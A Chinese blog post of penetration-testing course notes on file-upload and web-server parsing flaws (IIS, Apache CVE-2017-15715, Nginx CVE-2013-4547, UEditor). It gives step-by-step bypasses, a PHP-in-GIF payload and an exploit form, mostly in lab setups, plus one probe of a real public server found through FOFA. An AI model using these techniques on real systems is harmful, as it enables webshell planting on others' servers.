chenhongl

导航

 

#知识点:
1、中间件安全问题
2、中间件文件上传解析
3、Web应用编辑器上传

#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

#本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析

#前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess

#实例CMS&平台-中间件解析&编辑器引用
1、中间件配置不当导致文件被恶意解析
2、CMS源码引用外部编辑器实现文件上传

 

案例:中间件文件解析漏洞-IIS&Apache&Nginx

1、IIS 6 7 文件名 目录名

1、文件名:x.asp;.x.jpg
2、目录名:x.asp/x.jpg
3、IIS7.X与Nginx解析漏洞一致

 

1、文件解析漏洞 - IIS 6.0:文件命名/目录名命名导致的安全漏洞

怎么利用这个解析漏洞呢
条件:
  1. 中间件是IIS6.0
  2.上传文件能不能修改上传目录或者上传的文件名能增加命名

  比如:1.jpg可以命名为1.asp;.jpg,文件夹可以变成有asp后缀的1.asp/1.jpg
  如果上传的文件名是固定的,而且目录也没办法创建,那么这个漏洞就没有用处。  

文件命名格式为以下几种:

  基于本地名命名

  基于时间命名

  基于随机字符命名

 

1.  IIS 6:文件命名导致的安全问题

① 图片存放在\wwwroot\2,浏览器访问1.jpg,后门不会执行

 

 ②把文件名改为:1.asp;.jpg后(或者改为:xxx.asp;xxx.jpg),在浏览器访问,就可以执行asp/php的后门:

 

2.  IIS 6:文件夹命名导致的安全问题

① 图片存放在\wwwroot\2\Images,浏览器访问1.jpg,后门不会执行:

  ②把文件夹的名字改为:Images.asp(.asp后缀),在浏览器访问,就可以执行asp/php的后门:

 

【例】:

服务器:Windows server 2003
访问192.168.199.136:81/upload.asp
登录后台admin panfei806

 ①  访问192.168.199.136:81/upload.asp

上传文件,抓包

1645575239507-aa248cab-811e-4924-bf64-0e9867ea011b.png

② 上传正常的图片,保存的路径为http://192.168.199.136:81/20222238134313887.gif
发现路径可疑的值filepath=/
修改filepath的值,可以发现

1645575447902-25f789d4-c788-4b13-a217-f091ccd81dfd.png

 

③ 根据IIS的解析漏洞,把filepath的值修改为x.asp;. 则filepath=/x.asp;.

1645575533380-8c834da3-b076-4308-b82b-fa6e49756fc5.png

发现图片地址变成为http://192.168.199.136:81/x.asp;.20222238184089551.gif
访问这个地址,就可以从触发asp的代码。

1645576004256-c34d8a9f-a5fc-414b-9bfb-95b152b9e813.png

修改filepath的值,同样也适用于目录的漏洞解析 filepath=/x.asp/

1645576237258-1b1750f2-f695-473a-821f-af99b412f044.png

访问http://192.168.199.136:81/x.asp/20222238295688388.jpg
但是连接不成功,登上去服务器也没有发现这个x.asp的目录

2、中间件文件解析漏洞 - Apache HTTPD 换行解析漏洞(CVE-2017-15715)

这个漏洞的利用条件:
  1.中间件是Apache
  2.不直接上传.php文件,但可以上传.php%0a,来突破黑名单验证(黑名单规则:后缀是php、jsp等的脚本不让上传)
  3. 白名单可能不行(必须包含在白名单里面的才能上传,比如 jpg png gif等)

白名单可能绕过的情况:比如上传1.jpg.php%0a,如果白名单规则没有考虑最后一个点为后缀,这时,这个白名单就可以进行绕过;
php%0a可以绕过黑名单,这个后缀也能正常解析脚本代码,但是绕过不了phpp%0a白名单。

【例】:

启动环境:
  cd vulhub-master/
  cd httpd/CVE-2017-15715/
  sudo docker-compose build
  uod docker-compose up -d

  sudo docker-compose down


wp:https://vulhub.org/#/environments/httpd/CVE-2017-15715/

上传时,在1.php后面插入一个%0a(注意,不能是\x0D\x0A,只能是一个\x0A)

访问的时候,在后面加%0a,即/1.php%0a,发现能够成功解析,但是这个文件不是php后缀,说明目标存在解析漏洞


① 查看页面,中间件是Apache/2.4.10,可能存在Apache HTTPD 换行解析漏洞(CVE-2017-15715)

 

② 新建1.php文件,内容可以为后门代码

 

③ 上传1.php,发现不能直接上传php文件

④ 修改包,在"evil.php " 后面加一个空格(方便定位);然后切换到“Hex”,定位到“evil.php”的位置,将空格20改为0a

 

④改完后重新发包,上传成功

 

⑤ 不能直接访问xxx:8080/evil.php

⑥访问xxx:8080/evil.php%0a ,就可以看到phpinfo页面

 

3、Apache httpd 多后缀解析漏洞

配置不当导致的安全问题(不是漏洞)

这个漏洞的利用条件:
  1. 中间件是Apache
  2. 文件命名需要基于本地上传为准(可以命名为:1.php.jpg)

启动环境:
cd apache_parsing_vulnerability/
sudo docker-compose up -d
启动完成

1645581376800-28cca0c8-fcf3-4e7e-a92d-508d9fff64a1.png

 

① 访问地址 http://192.168.46.152/,中间件是Apache,可能存在这个漏洞

 

② 把图片1.jpg 的名字改为1.php.png(格式仍然是png),发现能上传成功。1645581605937-5a959058-950d-4ca4-b92c-b285fdf78c80.png

③ 访问:http://192.168.46.152/uploadfiles/1.php.png
结果,以php文件来执行的(如果不是以php文件来执行的,则会显示为图片)

 ④ 如果这个图片带有后门代码,就可以直接调用后门

如果这个文件保存的文件名是基于时间或者其他命令格式的话,把1.php.jpg命名成2022......655.jpg的话,那么这个漏洞就没有用。Nginx

 

4、Nginx 文件名逻辑漏洞(CVE-2013-4547)

wp:https://vulhub.org/#/environments/nginx/CVE-2013-4547/

nginx漏洞复现:中间件是nginx即可

启动环境:
cd /vulhub-master/nginx/CVE-2013-4547
sudo docker-compose build
sudo docker-compose up -d

① 访问http://192.168.199.129:8080/
先来信息收集等:发现是php+nginx搭建的平台。

1645582916411-da59fdac-bd74-46a5-8e6f-5c976b72dced.png

 

② 上传一个“1.jpg ”的图片,注意在1.jpg中后面还应该有一个空格1645583134410-59fb8174-8294-42da-846a-354cf59e19fa.png

对图片地址进行访问,因为在访问地址的时候,这个数据包不抓,所以进行访问首页添加地址,
在访问URL中/uploadfiles/11.png .php
用hex16进制修改20 00 发送数据包即可。

1645583702893-aacce380-0f39-42a5-b70e-f5a9da5f4252.png

 

5、Nginx 解析漏洞复现

wp:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/
启动环境,找到相对应目录,一样启动道理
① 访问http://192.168.199.129,信息收集发现是Nginx和php
② 上传图片1.jpg(图片内容是:<?php phpinfo();?>),上传失败,发现对图片内容进行了检测,所以编辑1.jpg,加上图片头 GIF89a进行绕过:

 GIF89a

<?php phpinfo();?>

重新上传成功:

1645584627584-c7cfd190-4fbf-4351-8a52-b1e246fd71ad.png

③ 访问图片地址:http://192.168.199.129/uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/*fnawejnf.php

在后面加上/*fnawejnf.php,就可以执行出PHP效果。1645584748374-e32202f5-e5f5-4147-9216-1463d447a986.png

 

6、也有一些真实案例:

 fofa搜关键字:title="phpStudy 探针 2014"
找到中间件是nginx的
 
http://47.52.57.212/phpmyadmin/

打开进入任意图片地址:

http://47.52.57.212/phpmyadmin/themes/pmahomme/img/logo_right.png

在地址后面加/1.php,图片直接以PHP文件来执行:

http://47.52.57.212/phpmyadmin/themes/pmahomme/img/logo_right.png/1.php

 

7、Web应用编辑器-Ueditor文件上传安全

编辑器:可以通过自己代码写,也可以通过插件来进行功能的实现。

Ueditor文件上传漏洞存在版本:1.4.3.3 Net版(目前最新版本,已停更)
Ueditor上传漏洞复现及环境搭建:https://www.cnblogs.com/hei-zi/p/13394764.html
① 搭建编辑器

②  新建一个up.html文件,写上漏洞利用代码:(注意修改访问地址)
<form action="http://192.168.46.139/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>

③ 在浏览器中打开up.html,写上一个带有后门的图片地址,并在最后加上“?.aspx”,提交

https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png加上?.aspx

④在返回的地址里面进行访问,返回一个aspx的地址,得到后门

上传的文件地址:

其它存在漏洞的编辑器:fckeditor、ewebeditor、kindeditor

 

 

posted on 2024-03-18 15:14  chenhongl  阅读(88)  评论(0)    收藏  举报